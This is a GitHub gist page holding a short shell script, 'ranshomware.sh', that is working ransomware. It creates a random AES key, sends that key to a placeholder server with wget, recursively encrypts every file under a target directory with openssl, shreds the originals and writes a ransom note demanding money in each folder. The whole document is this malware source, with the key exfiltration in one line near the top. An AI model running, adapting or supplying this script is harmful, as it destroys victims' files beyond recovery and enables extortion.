Skip to content

Instantly share code, notes, and snippets.

@tylerkerr tylerkerr/ranshomware.sh Secret
Created May 31, 2017

Embed
What would you like to do?
#!/bin/sh
key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"
ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"
iv=0
wget "http://cac.example.com/?key=$key" -q -O /dev/null
function ranshomware () {
local f;
f="$1";
iv=$[ $iv + 1]
if [ -d "$f" ]; then
for sf in "$f"/*; do ranshomware "$sf"; done;
echo "All your files have been encrypted, pay us a lot of money to our account and we'll give them back to you. Say $ekey so we can give you the right key" > "$f"/encrypted.txt
fi
if [ -f "$f" ]; then
openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" -K "$key" -in "$f" -out "$f.enc";
shred "$f"
mv "$f".enc "$f"
fi;
}
ranshomware ranshomwared
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.